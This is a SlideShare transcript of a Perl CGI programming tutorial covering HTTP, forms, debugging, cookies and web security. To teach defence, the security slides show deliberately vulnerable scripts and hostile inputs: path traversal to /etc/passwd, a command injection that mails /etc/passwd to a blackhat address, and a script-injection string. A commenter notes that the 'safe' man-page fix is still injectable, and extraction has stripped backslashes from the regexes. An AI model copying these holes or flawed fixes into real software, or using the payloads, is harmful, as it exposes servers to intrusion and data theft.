Your SlideShare is downloading. ×
0
Introduction to Web Programming with Perl Dave Cross Magnum Solutions Ltd [email_address] http://mag-sol.com
What We Will Cover <ul><li>The HTTP Protocol
The CGI Protocol
Creating Dynamic Pages with Perl
Getting Input from Forms
The CGI Module </li></ul>
What We Will Cover <ul><li>Basic Web Security
Using Cookies
Using Templates
Further Information </li></ul>
HTTP
Network Protocols <ul><li>A protocol is a defined way for objects to interact
Requests and responses are clearly defined
Client makes a request
Server responds </li></ul>
HTTP <ul><li>Hypertext Transport Protocol
Client is (usually) a web browser
Server is a web server
Client makes a request for a URL
Server responds with appropriate data </li></ul>
HTTP Request <ul><li>GET / HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.4) Gecko/...
HTTP Response  <ul><li>HTTP/1.x 200 OK Date: Wed, 26 Nov 2008 20:42:54 GMT Server: Apache/2.2.9 (Fedora) Content-Length: 2...
Things to Note <ul><li>Client requests a URL
Server works out what data is required
Response includes status code and data
Response defines type of data that follows </li></ul>
URLs <ul><li>Universal Resource Locator
Defines a resource on the internet
http://example.com/some/path
Static URLs usually map on to a file on the web server
This mapping is defined by the web server </li></ul>
CGI
Beyond Static Pages <ul><li>Static pages pages are limiting
Dynamic pages are more flexible
e.g. List of products + dynamic pages = Online shop </li></ul>
CGI <ul><li>Common Gateway Interface
Developed 1995
Defined how </li><ul><li>Data gets into a program
Output from program returned to web server </li></ul></ul>
Dynamic URLs <ul><li>The web server needs to recognise CGI URLs
Two common methods
Location </li><ul><li>e.g. cgi-bin directory </li></ul><li>Naming </li><ul><li>e.g. .cgi extension </li></ul></ul>
cgi-bin <ul><li>Commonly defined as a place to put CGI programs
All requests to this directory are CGI programs
ScriptAlias /cgi-bin/ &quot;/var/www/cgi-bin/&quot; </li></ul>
.cgi <ul><li>Commonly defined as the extension for CGI programs
All requests to resources with this extension are CGI programs </li><ul><li>Says nothing about programming language </li><...
Running CGI Programs <ul><li>Web server checks incoming requests
If it is a CGI request (location or extension) </li><ul><li>Set up CGI environment
Call program
Return program output to browser </li></ul></ul>
Perl and CGI
Perl and CGI <ul><li>The early webmasters were also sysadmins
Most sysadmins used Perl a lot
Most CGI programs produce HTML
HTML is just a form of text
Perl is great for manipulating text
Many early CGI programs were written in Perl </li></ul>
Perl is Not CGI <ul><li>Perl was used long before CGI programs were developed
Perl continues to be used in non-web areas
Other languages have also been used to write CGI programs
Some people still (incorrectly) assume that Perl and CGI are the same thing </li></ul>
Simple Perl CGI Program <ul><li>#!/usr/bin/perl print “Content-type: text/plain

”; print “Hello world”; </li></ul>
Simple Perl CGI Program <ul><li>#!/usr/bin/perl print “Content-type: text/html

”; print <<END; <html> <head><title>Hello ...
What's Happening? <ul><li>It's all pretty simple
Program prints a content-type header
Program prints data in the correct format
That's all you need to do </li></ul>
What Else is Happening? <ul><li>It's actually a little more complex than that
The web server does some work
Recognising CGI URL
Setting up environment
Calling program
Catching output
Adding headers </li></ul>
More Useful Example <ul><li>Let's make a page that does something dynamic
#!/usr/bin/perl print &quot;Content-type: text/plain

&quot;; print scalar localtime;
Of course, that program could produce HTML instead
But putting HTML in Perl code looks untidy </li></ul>
CGI.pm <ul><li>Perl includes a library called CGI.pm
It handles many areas of CGI programming
One of those is the production of HTML </li></ul>
Producing HTML <ul><li>#!/usr/bin/perl use CGI ':standard'; print header; print start_html(-title=>'Time'),   h1('Time'), ...
Later we'll see an alternative method of separating HTML and Perl </li></ul>
Not Producing HTML <ul><li>You don't need to produce text or HTML
Perl is good at processing other types of data too
Simply set the correct content type and produce output in the correct format </li></ul>
Random Images <ul><li>#!/usr/bin/perl use CGI 'header'; $dir = '/var/www/html/images'; opendir PICS, $dir or die $!; my @p...
Producing Images <ul><li>Correct content-type header
Tells browser how to interpret data
Browser knows to expect an image
Use in <img> tag
<img src='/cgi/pic'> </li></ul>
Response Status Codes <ul><li>An HTTP Response contains a status code
200 means 'ok'
The web server is adding this to our CGI output
But we can override this in our CGI program
Include it in the header </li></ul>
Not There <ul><li>#!/usr/bin/perl use CGI ':standard'; print header(-status => 404),   start_html(-title => 'Not Found'), ...
Other HTTP Codes <ul><li>1xx – Informational
2xx – Success
3xx – Redirection
4xx – Client error
5xx – Server error </li></ul>
Redirecting the Browser <ul><li>The 300 errors are often the most useful
Tell the browser to look elsewhere for the resource
302 tells the browser where to find the resource it is looking for </li></ul>
Using Redirection <ul><li>#!/usr/bin/perl use CGI 'redirect'; my $dir = #/var/www/html/images'; opendir PICS, $dir or die ...
Handling Input
Handling Input <ul><li>So far all of our examples have only produced output
CGI programs are far more flexible if they can accept input </li></ul>
HTML Forms <ul><li>CGI programs get their input from HTML forms
Text input, radio buttons, checkboxes, selectors
All seem very similar when they get to your CGI program </li></ul>
Sample HTML Form <ul><li><form action=”/cgi/handle_form”>   <p>Name:   <input name=”name” /><br />   <selection name=”sex”...
Handling the Form <ul><li>#!/usr/bin/perl use CGI ':standard'; my $name = param('name'); my $sex  = param('sex'); print he...
CGI Parameters <ul><li>The CGI module has function called 'param'
Returns the value of the parameters passed to the program
Pass it the name of the parameter you are interested in
The name is the name of the HTML form input </li></ul>
Listing Parameters <ul><li>Without an argument, 'param' returns a list of all parameter names
my @params = param; foreach my $param (@params) {   print p('Param ', b($param), ' is ',   i(param($param))); } </li></ul>
Multivalued Parameters <ul><li>Sometimes one name is associated with multiple values
The 'param' function handles this too </li></ul>
Checkboxes <ul><li>Checkboxes allow you to choose several linked options
Drinks: <input type=&quot;checkbox&quot; name=&quot;drink&quot;    value=&quot;beer&quot; /> Beer <input type=&quot;checkb...
Three inputs with the same name
What will 'param' do? </li></ul>
Handling Checkboxes <ul><li>Our previous form handler already copes with this
'param' returns a space-separated string
$drinks = param('drink');
Upcoming SlideShare
Loading in...5
×

Introduction to Web Programming with Perl

23,428

Published on

Published in: Technology
1 Comment
8 Likes
Statistics
Notes
  • (Slide 82)

    As was pointed out to me when I gave this talk, this doesn't actually solve the problem. It's still possible to create input that makes Bad Things happen.

    You need to add an 'else' clause that refuses to run the command if the regex doesn't match the input.
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
No Downloads
Views
Total Views
23,428
On Slideshare
0
From Embeds
0
Number of Embeds
3
Actions
Shares
0
Downloads
400
Comments
1
Likes
8
Embeds 0
No embeds

No notes for slide

Transcript of "Introduction to Web Programming with Perl"

  1. 1. Introduction to Web Programming with Perl Dave Cross Magnum Solutions Ltd [email_address] http://mag-sol.com
  2. 2. What We Will Cover <ul><li>The HTTP Protocol
  3. 3. The CGI Protocol
  4. 4. Creating Dynamic Pages with Perl
  5. 5. Getting Input from Forms
  6. 6. The CGI Module </li></ul>
  7. 7. What We Will Cover <ul><li>Basic Web Security
  8. 8. Using Cookies
  9. 9. Using Templates
  10. 10. Further Information </li></ul>
  11. 11. HTTP
  12. 12. Network Protocols <ul><li>A protocol is a defined way for objects to interact
  13. 13. Requests and responses are clearly defined
  14. 14. Client makes a request
  15. 15. Server responds </li></ul>
  16. 16. HTTP <ul><li>Hypertext Transport Protocol
  17. 17. Client is (usually) a web browser
  18. 18. Server is a web server
  19. 19. Client makes a request for a URL
  20. 20. Server responds with appropriate data </li></ul>
  21. 21. HTTP Request <ul><li>GET / HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc9 Firefox/3.0.4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-gb,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive </li></ul>
  22. 22. HTTP Response <ul><li>HTTP/1.x 200 OK Date: Wed, 26 Nov 2008 20:42:54 GMT Server: Apache/2.2.9 (Fedora) Content-Length: 2172 Connection: close Content-Type: text/html;charset=ISO-8859-1 <html> ... </html> </li></ul>
  23. 23. Things to Note <ul><li>Client requests a URL
  24. 24. Server works out what data is required
  25. 25. Response includes status code and data
  26. 26. Response defines type of data that follows </li></ul>
  27. 27. URLs <ul><li>Universal Resource Locator
  28. 28. Defines a resource on the internet
  29. 29. http://example.com/some/path
  30. 30. Static URLs usually map on to a file on the web server
  31. 31. This mapping is defined by the web server </li></ul>
  32. 32. CGI
  33. 33. Beyond Static Pages <ul><li>Static pages pages are limiting
  34. 34. Dynamic pages are more flexible
  35. 35. e.g. List of products + dynamic pages = Online shop </li></ul>
  36. 36. CGI <ul><li>Common Gateway Interface
  37. 37. Developed 1995
  38. 38. Defined how </li><ul><li>Data gets into a program
  39. 39. Output from program returned to web server </li></ul></ul>
  40. 40. Dynamic URLs <ul><li>The web server needs to recognise CGI URLs
  41. 41. Two common methods
  42. 42. Location </li><ul><li>e.g. cgi-bin directory </li></ul><li>Naming </li><ul><li>e.g. .cgi extension </li></ul></ul>
  43. 43. cgi-bin <ul><li>Commonly defined as a place to put CGI programs
  44. 44. All requests to this directory are CGI programs
  45. 45. ScriptAlias /cgi-bin/ &quot;/var/www/cgi-bin/&quot; </li></ul>
  46. 46. .cgi <ul><li>Commonly defined as the extension for CGI programs
  47. 47. All requests to resources with this extension are CGI programs </li><ul><li>Says nothing about programming language </li></ul><li>AddHandler cgi-script .cgi </li></ul>
  48. 48. Running CGI Programs <ul><li>Web server checks incoming requests
  49. 49. If it is a CGI request (location or extension) </li><ul><li>Set up CGI environment
  50. 50. Call program
  51. 51. Return program output to browser </li></ul></ul>
  52. 52. Perl and CGI
  53. 53. Perl and CGI <ul><li>The early webmasters were also sysadmins
  54. 54. Most sysadmins used Perl a lot
  55. 55. Most CGI programs produce HTML
  56. 56. HTML is just a form of text
  57. 57. Perl is great for manipulating text
  58. 58. Many early CGI programs were written in Perl </li></ul>
  59. 59. Perl is Not CGI <ul><li>Perl was used long before CGI programs were developed
  60. 60. Perl continues to be used in non-web areas
  61. 61. Other languages have also been used to write CGI programs
  62. 62. Some people still (incorrectly) assume that Perl and CGI are the same thing </li></ul>
  63. 63. Simple Perl CGI Program <ul><li>#!/usr/bin/perl print “Content-type: text/plain ”; print “Hello world”; </li></ul>
  64. 64. Simple Perl CGI Program <ul><li>#!/usr/bin/perl print “Content-type: text/html ”; print <<END; <html> <head><title>Hello world</title></head> <body> <h1>Hello world</h1> </body> </html> END </li></ul>
  65. 65. What's Happening? <ul><li>It's all pretty simple
  66. 66. Program prints a content-type header
  67. 67. Program prints data in the correct format
  68. 68. That's all you need to do </li></ul>
  69. 69. What Else is Happening? <ul><li>It's actually a little more complex than that
  70. 70. The web server does some work
  71. 71. Recognising CGI URL
  72. 72. Setting up environment
  73. 73. Calling program
  74. 74. Catching output
  75. 75. Adding headers </li></ul>
  76. 76. More Useful Example <ul><li>Let's make a page that does something dynamic
  77. 77. #!/usr/bin/perl print &quot;Content-type: text/plain &quot;; print scalar localtime;
  78. 78. Of course, that program could produce HTML instead
  79. 79. But putting HTML in Perl code looks untidy </li></ul>
  80. 80. CGI.pm <ul><li>Perl includes a library called CGI.pm
  81. 81. It handles many areas of CGI programming
  82. 82. One of those is the production of HTML </li></ul>
  83. 83. Producing HTML <ul><li>#!/usr/bin/perl use CGI ':standard'; print header; print start_html(-title=>'Time'), h1('Time'), p(scalar localtime), end_html;
  84. 84. Later we'll see an alternative method of separating HTML and Perl </li></ul>
  85. 85. Not Producing HTML <ul><li>You don't need to produce text or HTML
  86. 86. Perl is good at processing other types of data too
  87. 87. Simply set the correct content type and produce output in the correct format </li></ul>
  88. 88. Random Images <ul><li>#!/usr/bin/perl use CGI 'header'; $dir = '/var/www/html/images'; opendir PICS, $dir or die $!; my @pics = grep { -f “$dir/$_” } readdir PICS; my $a_pic = $pics[rand @pics]; if ($a_pic =~ /.png$/) { print header(-type => 'image/png'); } else { print header(-type => 'image/jpeg'); } open PIC, &quot;$dir/$a_pic&quot; or die $!; print while <PIC>; </li></ul>
  89. 89. Producing Images <ul><li>Correct content-type header
  90. 90. Tells browser how to interpret data
  91. 91. Browser knows to expect an image
  92. 92. Use in <img> tag
  93. 93. <img src='/cgi/pic'> </li></ul>
  94. 94. Response Status Codes <ul><li>An HTTP Response contains a status code
  95. 95. 200 means 'ok'
  96. 96. The web server is adding this to our CGI output
  97. 97. But we can override this in our CGI program
  98. 98. Include it in the header </li></ul>
  99. 99. Not There <ul><li>#!/usr/bin/perl use CGI ':standard'; print header(-status => 404), start_html(-title => 'Not Found'), h1('Not Found'), p('The content that you were', 'looking for could not be', 'found.'), p('Sorry about that.'), end_html; </li></ul>
  100. 100. Other HTTP Codes <ul><li>1xx – Informational
  101. 101. 2xx – Success
  102. 102. 3xx – Redirection
  103. 103. 4xx – Client error
  104. 104. 5xx – Server error </li></ul>
  105. 105. Redirecting the Browser <ul><li>The 300 errors are often the most useful
  106. 106. Tell the browser to look elsewhere for the resource
  107. 107. 302 tells the browser where to find the resource it is looking for </li></ul>
  108. 108. Using Redirection <ul><li>#!/usr/bin/perl use CGI 'redirect'; my $dir = #/var/www/html/images'; opendir PICS, $dir or die $!; my @pics = grep { -f “$dir/$_” } readdir PICS; my $a_pic = $pics[rand @pics]; print redirect( -uri => &quot;/images/$a_pic&quot; ); </li></ul>
  109. 109. Handling Input
  110. 110. Handling Input <ul><li>So far all of our examples have only produced output
  111. 111. CGI programs are far more flexible if they can accept input </li></ul>
  112. 112. HTML Forms <ul><li>CGI programs get their input from HTML forms
  113. 113. Text input, radio buttons, checkboxes, selectors
  114. 114. All seem very similar when they get to your CGI program </li></ul>
  115. 115. Sample HTML Form <ul><li><form action=”/cgi/handle_form”> <p>Name: <input name=”name” /><br /> <selection name=”sex”> <option>Male</option> <option>Female</option> </selection></p> </form> </li></ul>
  116. 116. Handling the Form <ul><li>#!/usr/bin/perl use CGI ':standard'; my $name = param('name'); my $sex = param('sex'); print header, start_html(-title=>&quot;Hello $name&quot;), h1(&quot;Hello $name&quot;), p(&quot;Hello $name, you are $sex&quot;), end_html; </li></ul>
  117. 117. CGI Parameters <ul><li>The CGI module has function called 'param'
  118. 118. Returns the value of the parameters passed to the program
  119. 119. Pass it the name of the parameter you are interested in
  120. 120. The name is the name of the HTML form input </li></ul>
  121. 121. Listing Parameters <ul><li>Without an argument, 'param' returns a list of all parameter names
  122. 122. my @params = param; foreach my $param (@params) { print p('Param ', b($param), ' is ', i(param($param))); } </li></ul>
  123. 123. Multivalued Parameters <ul><li>Sometimes one name is associated with multiple values
  124. 124. The 'param' function handles this too </li></ul>
  125. 125. Checkboxes <ul><li>Checkboxes allow you to choose several linked options
  126. 126. Drinks: <input type=&quot;checkbox&quot; name=&quot;drink&quot; value=&quot;beer&quot; /> Beer <input type=&quot;checkbox&quot; name=&quot;drink&quot; value=&quot;wine&quot; /> Wine <input type=&quot;checkbox&quot; name=&quot;drink&quot; value=&quot;coke&quot; /> Coke
  127. 127. Three inputs with the same name
  128. 128. What will 'param' do? </li></ul>
  129. 129. Handling Checkboxes <ul><li>Our previous form handler already copes with this
  130. 130. 'param' returns a space-separated string
  131. 131. $drinks = param('drink');
  132. 132. You can also get a list
  133. 133. @drinks = param('drink'); print join ', ', @drinks;
  134. 134. Perl calls this “context” </li></ul>
  135. 135. GET vs POST <ul><li>HTML forms can sent parameters to CGI programs in TWO ways
  136. 136. GET encodes the data in the URL
  137. 137. POST encodes the data in the request body
  138. 138. Define which method to use in the <form> element
  139. 139. Default value is GET </li></ul>
  140. 140. GET <ul><li>The default method is GET
  141. 141. <form action=”...” method=”GET”>
  142. 142. Can be omitted
  143. 143. <form action=”...”>
  144. 144. Data in URL
  145. 145. http://localhost/cgi/handle_form2?name=Dave&sex=Male&drink=beer&drink=wine&drink=coke
  146. 146. Easy to debug
  147. 147. Easy to hack </li></ul>
  148. 148. POST <ul><li>POST needs to be set explicitly
  149. 149. <form action=”...” method=”POST”>
  150. 150. Data transmitted in HTTP request body
  151. 151. Not seen in URL
  152. 152. Harder to debug
  153. 153. Harder to hack </li></ul>
  154. 154. Handling GET and POST <ul><li>CGI.pm hides the difference from you
  155. 155. Both GET and POST parameters are accessed in the same way
  156. 156. 'param' handles both methods
  157. 157. Easy to swap between the two </li></ul>
  158. 158. Mishandling CGI Data <ul><li>CGI.pm has been a standard part of Perl for over ten years
  159. 159. No reason not to use 'param'
  160. 160. Some people still don't
  161. 161. Old code
  162. 162. Or code based on old code </li></ul>
  163. 163. Broken CGI Parser <ul><li>if ($ENV{'REQUEST_METHOD'} eq 'GET') { @pairs = split(/&/, $ENV{'QUERY_STRING'}); } elsif ($ENV{'REQUEST_METHOD'} eq 'POST') { read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); @pairs = split(/&/, $buffer); } foreach $pair (@pairs) { my ($name, $val) = split /=/, $pair; # some decoding skipped... $form{$name} = $value; }
  164. 164. You will see code like this
  165. 165. Do not use it </li></ul>
  166. 166. Simple CGI Summary
  167. 167. Simple CGI Summary <ul><li>CGI defines a way to create dynamic web pages
  168. 168. Web server identifies CGI URLs </li><ul><li>By location or name </li></ul><li>Web server sets up CGI environment
  169. 169. Calls CGI program
  170. 170. Output returned to browser </li></ul>
  171. 171. CGI Input <ul><li>CGI input comes from HTML forms
  172. 172. Input is either GET or POST
  173. 173. CGI program sees a series of name/value pairs </li></ul>
  174. 174. Debugging CGI
  175. 175. Debugging CGI <ul><li>Things will go wrong when writing CGI programs
  176. 176. Here are some suggestions on tracking down problems </li></ul>
  177. 177. Debugging Perl <ul><li>Same techniques as debugging any Perl program
  178. 178. Help Perl to help you
  179. 179. use strict </li><ul><li>Must declare variables </li></ul><li>use warnings </li><ul><li>Warn about potential problems </li></ul><li>Use both of these in all Perl programs </li></ul>
  180. 180. Check Syntax <ul><li>Use “perl -c” to check for syntax errors
  181. 181. #!/usr/bin/perl Print &quot;hello &quot;;
  182. 182. $ perl -c print String found where operator expected at print line 3, near &quot;Print &quot;hello &quot;&quot; (Do you need to predeclare Print?) syntax error at print line 3, near &quot;Print &quot;hello &quot;&quot; print had compilation errors. </li></ul>
  183. 183. Check Error Log <ul><li>All web servers write an error log </li><ul><li>Location depends on configuration </li></ul><li>Generic error message to browser </li><ul><li>Security feature </li></ul><li>Real error message in error log
  184. 184. Anything written to STDERR goes to error log </li></ul>
  185. 185. Writing to Error Log <ul><li>#!/usr/bin/perl use CGI 'header'; print header( -type => 'text/plain' ); print 'Nothing went wrong!'; # warn writes to STDERR warn '(Actually something did)'; </li></ul>
  186. 186. Errors to Browser <ul><li>Sometimes it's useful to see real errors in the browser
  187. 187. CGI::Carp does this
  188. 188. use CGI::Carp 'fatalsToBrowser';
  189. 189. Still a security hole
  190. 190. Remove once debugging is over </li><ul><li>Or, at least, comment it out </li></ul></ul>
  191. 191. Debugging HTTP <ul><li>It's often useful to debug the HTTP exchange
  192. 192. See exactly what requests and responses are being exchanged
  193. 193. LWP (from CPAN) includes the GET, POST and HEAD programs </li></ul>
  194. 194. Debugging HTTP <ul><li>#!/usr/bin/perl use CGI 'header'; print header( -type => 'text/plain', -x_go_away => &quot;It's a secret&quot;, ); print 'See headers for more info'; </li></ul>
  195. 195. Using HEAD <ul><li>$ HEAD http://localhost/cgi/headers 200 OK Connection: close Date: Sat, 22 Nov 2008 14:59:15 GMT Server: Apache/2.2.9 (Fedora) Content-Type: text/plain; charset=ISO-8859-1 Client-Date: Sat, 22 Nov 2008 14:59:15 GMT Client-Peer: 127.0.0.1:80 Client-Response-Num: 1 X-Go-Away: It's a secret </li></ul>
  196. 196. Live HTTP Headers <ul><li>Live HTTP Headers is an add-on for Firefox
  197. 197. Allows you to watch the complete HTTP exchange </li><ul><li>View
  198. 198. Save
  199. 199. Replay </li></ul></ul>
  200. 200. Web Security
  201. 201. Web Security <ul><li>Exposing a program on your web server is a brave thing to do
  202. 202. Anyone connected to the internet can run your program
  203. 203. Not everyone out there is nice
  204. 204. Need to be sure your program is secure </li></ul>
  205. 205. What Can Go Wrong? <ul><li>You want a program to display files from your server
  206. 206. Accepts a file as a parameter
  207. 207. Send the contents of the file to the browser
  208. 208. Here's a first attempt </li></ul>
  209. 209. File Viewer Program <ul><li>#!/usr/bin/perl use CGI ':standard'; my $file = param('filename'); print header(-type => 'text/plain'); open FILE, $file or die &quot;Can't open $file: $! &quot;; print while <FILE>; </li></ul>
  210. 210. What's Wrong With That? <ul><li>You just compromised the security of your server
  211. 211. Your server contains many files that outsiders shouldn't see
  212. 212. e.g. /etc/passwd
  213. 213. Now anyone on the internet can see a list of usernames on your server </li></ul>
  214. 214. Forms Won't Save You <ul><li>You could present a page that only allows people to choose certain files </li><ul><li>People will look at the source of the form and hack the URL </li></ul><li>You could change GET to POST to prevent URL-hacking </li><ul><li>People will create their own form and use that to send hacked parameters </li></ul></ul>
  215. 215. Another Attempt <ul><li>#!/usr/bin/perl use CGI ':standard'; my $dir = '/usr/files/'; my $file = $dir . param('filename'); print header(-type => 'text/plain'); open FILE, $file or die &quot;Can't open $file: $! &quot;; print while <FILE>; </li></ul>
  216. 216. Another Attempt <ul><li>We have forced files to exist in a certain directory
  217. 217. Only files in that directory can be viewed
  218. 218. That's not true
  219. 219. We can use '..' to move up a directory
  220. 220. filename=../../etc/passwd
  221. 221. Still insecure </li></ul>
  222. 222. A Different Problem <ul><li>We want to run a command on the server taking input from the user
  223. 223. For example, a manual page viewer
  224. 224. Takes a page name from user input </li></ul>
  225. 225. Manual Page Viewer <ul><li>#!/usr/bin/perl use CGI ':standard'; my $page = param('man'); print header(-type=>'text/plain'); print `man $page | col -b`; </li></ul>
  226. 226. What's Wrong With That? <ul><li>Once again you've compromised security on your server
  227. 227. Problem is in this line </li><ul><li>print `man $page | col -b`; </li></ul><li>Passing user input to an external program
  228. 228. Dangerous input
  229. 229. ls; mail dave@blackhat.com < /etc/passwd </li></ul>
  230. 230. Another Problem <ul><li>Accept user input and write a results page using it
  231. 231. We've done this before
  232. 232. What if the input includes Javascript?
  233. 233. name=Dave
  234. 234. name=Dave<script>alert(“Gotcha”)</alert>
  235. 235. Javascript can be dangerous </li></ul>
  236. 236. Trust No-One <ul><li>All of these problems have the same root cause
  237. 237. We trusted user input
  238. 238. Never trust your users
  239. 239. They are either malicious or stupid
  240. 240. Both options are dangerous to you </li></ul>
  241. 241. Check All Input <ul><li>Check everything that comes into your program
  242. 242. Don't trust any piece of data
  243. 243. Especially if you're sending it out of your program
  244. 244. Use whitelists to define valid data
  245. 245. Throw out anything that doesn't match </li></ul>
  246. 246. Safe File Viewer <ul><li>#!/usr/bin/perl use CGI ':standard'; print header(-type => 'text/plain'); my $dir = '/usr/files/'; my $file = param('filename'); if ($file =~ /^(w[w.]+)$/) { $file = &quot;$dir/$1&quot;; } else { print 'Go away!'; die &quot;Bad filename: $file &quot;; } ... </li></ul>
  247. 247. Is It Safe? <ul><li>The safe file viewer assumes that all valid files are in one directory
  248. 248. Therefore the filename can only contain certain characters
  249. 249. /^(w[w.]+)$/
  250. 250. “Word” characters and dots
  251. 251. No directory slashes
  252. 252. Anchors to match whole string </li></ul>
  253. 253. Safe Manual Viewer <ul><li>#!/usr/bin/perl use CGI ':standard'; my $page = param('man'); if ($page =~ /^(w+)/) { $page = $1; } print header(-type=>'text/plain'); print `man $page | col -b`; </li></ul>
  254. 254. Is It Safe? <ul><li>Uses a similar approach to the safe file viewer
  255. 255. Unix commands consist of “word” characters
  256. 256. Use the word characters from the start of the input string
  257. 257. Ignore the rest </li></ul>
  258. 258. Safe HTML Input <ul><li>#!/usr/bin/perl use CGI ':standard'; my $name = param('name'); my $sex = param('sex'); $name =~ s/</&lt;/g; $sex =~ s/</&lt;/g; ... </li></ul>
  259. 259. Is It Safe? <ul><li>By converting the < symbols to &lt; we convert HTML to text
  260. 260. The Javascript is rendered harmless
  261. 261. Simplest, but harshest, approach
  262. 262. Maybe you want to allow some HTML
  263. 263. More complex parser required
  264. 264. Look at HTML::Scrubber </li></ul>
  265. 265. Enforcing Distrust <ul><li>How can you be sure that you are being distrustful enough?
  266. 266. Programmers are fallible
  267. 267. Let Perl help you
  268. 268. Use “taint” mode
  269. 269. Add -T to your shebang line
  270. 270. #!/usr/bin/perl -T </li></ul>
  271. 271. Taint Mode <ul><li>See “perldoc perlsec” for the full details
  272. 272. All input is marked as tainted
  273. 273. Tainted data may not be sent outside of your program
  274. 274. Tainted data is infectious </li><ul><li>If an expression uses tainted data then the result is also tainted </li></ul></ul>
  275. 275. Taint Mode Example <ul><li>#!/usr/bin/perl -T use strict; print 'Enter command: '; my $cmd = <STDIN>; chomp $cmd; print `$cmd`; </li></ul>
  276. 276. Running Taint Example <ul><li>$ ./taint Enter command: ls Insecure dependency in `` while running with -T switch at ./taint line 7, <STDIN> line 1.
  277. 277. We are passing tainted data to the Unix shell </li><ul><li>Via the backticks </li></ul><li>This is equivalent to our man page example </li></ul>
  278. 278. Checking Tainted Data <ul><li>Use the tainted function from Scalar::Util
  279. 279. use Scalar::Util 'tainted'; print 'Enter command: '; my $cmd = <STDIN>; chomp $cmd; print tainted($cmd) ? '' : 'Not ', &quot;Tainted &quot;; </li></ul>
  280. 280. Cleaning Tainted Data <ul><li>Untaint data by matching against a regular expression and extracting valid strings
  281. 281. As we did in our previous examples
  282. 282. ($cmd) = $cmd =~ /^(w+)/; print tainted($cmd) ? '' : 'Not ', &quot;Tainted &quot;;
  283. 283. We extracted the data we wanted
  284. 284. $cmd is no longer tainted </li></ul>
  285. 285. Not There Yet <ul><li>Having untainted $cmd we still have another issue
  286. 286. Insecure $ENV{PATH} while running with -T switch at ./taint3 line 16, <STDIN> line 1.
  287. 287. Perl is being really paranoid </li><ul><li>Which is a good thing </li></ul><li>Perl doesn't trust our PATH setting
  288. 288. Need to set it in the program </li></ul>
  289. 289. Securing the Path <ul><li>Perl sees the PATH in $ENV{PATH}
  290. 290. Just overwrite that with a known value
  291. 291. $ENV{PATH} = '/bin:/usr/bin:/usr/local/bin';
  292. 292. Perl is finally satisfied </li></ul>
  293. 293. Using Taint Mode <ul><li>You should use taint mode on any program that is going to be run by untrusted people
  294. 294. This is definitely true of all CGI programs
  295. 295. Taint mode won't catch all problems
  296. 296. But it finds many issues that you might miss </li></ul>
  297. 297. Cookies
  298. 298. Cookies <ul><li>HTTP is a stateless protocol
  299. 299. Each request/response exchange has no knowledge of previous ones
  300. 300. This makes writing complex web applications impossible
  301. 301. Shopping baskets (for example) need to maintain state
  302. 302. Cookies are a good way round this problem </li></ul>
  303. 303. What Is A Cookie? <ul><li>A small text file stored by your browser
  304. 304. Name/value pair
  305. 305. Associated with a domain and (optionally) a path
  306. 306. Can be set to expire
  307. 307. Web site sends cookie to browser
  308. 308. Browser sends cookie back to web server for that domain or path </li></ul>
  309. 309. Viewing Cookies <ul><li>Modern browsers give users the ability to view and delete cookies
  310. 310. Firefox: Preferences -> Privacy -> Show cookies
  311. 311. You will probably have a lot of cookies
  312. 312. Sites use them to track visitors
  313. 313. Some people block them for that reason </li></ul>
  314. 314. Using Cookies <ul><li>CGI.pm contains a “cookie” function
  315. 315. Used to both create and access cookie
  316. 316. Cookies need to be sent in the CGI header
  317. 317. Often the first thing to need to do </li></ul>
  318. 318. Setting a Cookie <ul><li>my $cookie =cookie( -name=>'time', -value=>scalar localtime, -expires=>'+1y' ); print header( -cookie => $time_cookie ); print start_html( -title=>'Cookie test' ); print h1('Cookie test'); </li></ul>
  319. 319. Getting a Cookie <ul><li>if (my $time = cookie('time')) { print p('You last visited this ', “page at $time&quot;); } else { print p('You haven't visited ' 'this page before'); } </li></ul>
  320. 320. Cookie Confusion <ul><li>People sometimes find cookie code confusing
  321. 321. There are often two completely separate cookies in a program
  322. 322. One incoming, one outgoing
  323. 323. The outgoing cookie is usually dealt with first </li><ul><li>Because it needs to be in the header </li></ul></ul>
  324. 324. Login Example <ul><li>Cookies can be used to track whether a user is logged in to a site
  325. 325. Write a cookie when the user logs in
  326. 326. Delete it when the user logs out </li><ul><li>Actually just force it to expire </li></ul></ul>
  327. 327. Log In With Cookies (1) <ul><li>my $name; my $logged; if (param('login')) { $logged = 1; $name = param('name'); print header( -cookie => cookie( -name => 'name', -value => $name, -expires => '+1y', ) ); } </li></ul>
  328. 328. Log In With Cookies (2) <ul><li>elsif (param('logout')) { $logged = 0; $name = 'Guest'; print header( -cookie => cookie( -name=>'name', -value=>'', -expires=>'-1d', ) ); } </li></ul>
  329. 329. Log In With Cookies (3) <ul><li>else { $logged = defined cookie('name'); $name = cookie('name') || 'Guest'; print header; } print start_html(-title => 'Cookies'); print h1('Cookies'); print p('This is a cookie test page'); $name =~ s/</&lt/g; $name = b($name); print p(&quot;Hello $name&quot;); </li></ul>
  330. 330. Log In With Cookies (4) <ul><li>print start_form; if ($logged) { print p( submit(-name => 'logout', -value => 'logout')); } else { print p('Enter your name: ', textfield(-name => 'name'), submit(-name => 'login', -value => 'Set name')); print end_form; } print end_html; </li></ul>
  331. 331. Cookie Security <ul><li>Secure web apps don't reveal any more data than is necessary
  332. 332. Don't trust the browser
  333. 333. Don't store identifiable data in a cookie
  334. 334. Use a nondescript name
  335. 335. Store the real data on your server
  336. 336. Store a reference to data in cookie </li></ul>
  337. 337. Templates
  338. 338. Templates <ul><li>So far all of our HTML has been stored in the program
  339. 339. Either hard-coded HTML or CGI.pm functions
  340. 340. This is fine for demos or simple programs
  341. 341. Can cause problems with larger projects </li></ul>
  342. 342. Separating Concerns <ul><li>It's a good idea to separate business logic from display logic
  343. 343. Code that works out what to display
  344. 344. Code that works out how to display it </li></ul>
  345. 345. Advantages <ul><li>Easier to change look of site
  346. 346. Easier to have consistent look and feel
  347. 347. Easier to split work between designers and programmers
  348. 348. Easier to produce alternative views of data </li></ul>
